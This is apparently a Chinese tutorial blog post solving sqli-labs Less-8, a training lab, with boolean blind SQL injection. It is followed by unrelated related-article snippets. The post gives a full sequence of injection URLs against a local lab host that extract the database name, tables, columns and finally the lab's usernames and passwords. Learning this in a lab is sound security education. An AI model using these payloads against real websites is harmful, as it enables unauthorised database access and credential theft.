sqli-labs靶场第八关布尔盲注通关

ops/2024/10/8 23:42:30/

sqlilabs_less__0">sqli-labs less 布尔盲注

在这里插入图片描述

1、布尔盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行,在这种情况下我们可以使用布尔盲注

2、布尔盲注使用的函数

2.1 ascii()

根据括号内的值,返回对应的ASCII码,比如:
在这里插入图片描述
附上ASCII码表
在这里插入图片描述

2.2 substr()函数

substr(‘abcde’,1,1),此函数返回’abcde’第一个开始的第一个字符
在这里插入图片描述
也可以使用其他函数代替
如left(),right()
在这里插入图片描述

2.3 if()函数

在这里插入图片描述

2.4 length()

在这里插入图片描述

3、less-8演示

3.1 注入点以及闭合方式

http://192.168.128.3/sq/Less-8/?id=1’

回显结果与之前不一致,页面无回显,将'注释掉,回显正常,闭合方式为单引号,

http://192.168.128.3/sq/Less-8/?id=1’and 1=1–+
http://192.168.128.3/sq/Less-8/?id=1’and 1=2–+

页面回显不一致,有注入点

3.2 判断数据库长度

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>7),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>8),1,2) --+

语句解析:

  • 1=if(判断长度大于多少,1,2) 正常返回1,与1=1对应,回显正常,否则错误,
  • length(),在括号中加入database() 去除数据库长度,并于7,8比较
    执行这两条语句发现>7正常,>8不正常,确定数据库名长度为8

3.2 爆出数据库

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>100),1,2) --+
检测其ASCII码是否大于100,
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>110),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>115),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>114),1,2) --+

发现在大于115报错,大于114正常,对照ASCII表得出数据库名第一个字母为s
一次按照此方法爆出其余的字符,最终得到数据库security

3.3 爆出表名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100),1,2) --+

得出表名第一个字母e,按照此方法一次爆出所有表名
最终得到结果emails,referers,usgents,users
其中,也算,他是group_concat()函数使用时产生的,

4、爆出列名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>104),1,2) --+

列名第一个字符大于104正确,105错误,对照ASCII表为i,,只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有列名
最终结果:id,username,password

5、爆出数据

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(username,‘~’,password) from security.users),1,1))>67),1,2) --+

只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有数据,~,也算,group_concat(username,‘~’,password)所带,
最终得到:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
至此大功告成


http://www.ppmy.cn/ops/122866.html

相关文章

操作系统学习笔记---文件管理

文件系统基础 概念 文件:以计算机硬盘为载体的存储在计算机上的信息集合 文件的属性 文件具有一定的属性,系统不同,属性也会有所不同,但通第都包括如下属性:名称、标识符、类型、位置、大小、保护、时间、日期和用…

数据挖掘笔记part one (认识数据挖掘)

定义 从大量的,不完全的,有噪音的,模糊的,随机的数据中提取出存在潜在价值信息和知识的过程。 数据,信息,知识的关系 数据>信息>情报>知识>智慧(越小越精炼,越牛&…

Linux 命令基础

基础命令 通用格式 home目录 在根目录下面 ,家目录,Linux中会有多个用户使用,/home ls命令 直接输入ls 平铺显示当前工作目录下的内容 选项可以组合使用 -a all的意思,表示全部文件(包括隐藏…

介绍一款开源的 Modern GUI PySide6 / PyQt6的使用

首先附上大神的开源地址(自行克隆吧): https://github.com/Wanderson-Magalhaes/Modern_GUI_PyDracula_PySide6_or_PyQt6 步骤一:安装PySide6库 pip install PySide6 步骤二:运行main文件 python main.py 就得…

Telnet、SSH、RDP和VNC

Telnet、SSH、RDP和VNC都是远程访问和管理的协议或工具,它们各自具有不同的特点和适用场景。 一、基本概念与用途 Telnet 定义:一种基于命令行界面的远程管理协议,允许用户通过网络远程访问和管理计算机。用途:主要用于远程登录和…

职场中的人情世故,你懂了多少?

职场如战场,稍有不慎,满盘皆输。 职场如江湖,不是打打杀杀,而是人情世故。 成年人的世界里没有“容易”二字,我们也需要懂得哪些人情世故和。 职场上的各种光怪陆离现象,有很多职场人吐槽:“…

Golang 进阶4—— 网络编程

Golang 进阶4—— 网络编程 注意,该文档只适合有编程基础的同学,这里的go教程只给出有区别的知识点 网络编程: 把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大,功能强的网络系统,从而使众…

软件测试学习笔记

1、软件测试 软件:控制计算机硬件工作的工具 软件测试:使用技术手段验证软件是否满足使用需求 软件测试的目的:减少软件缺陷,保障软件质量 2、测试主流技术 功能测试 自动化测试 接口测试 性能测试 3、测试分类 按照测试…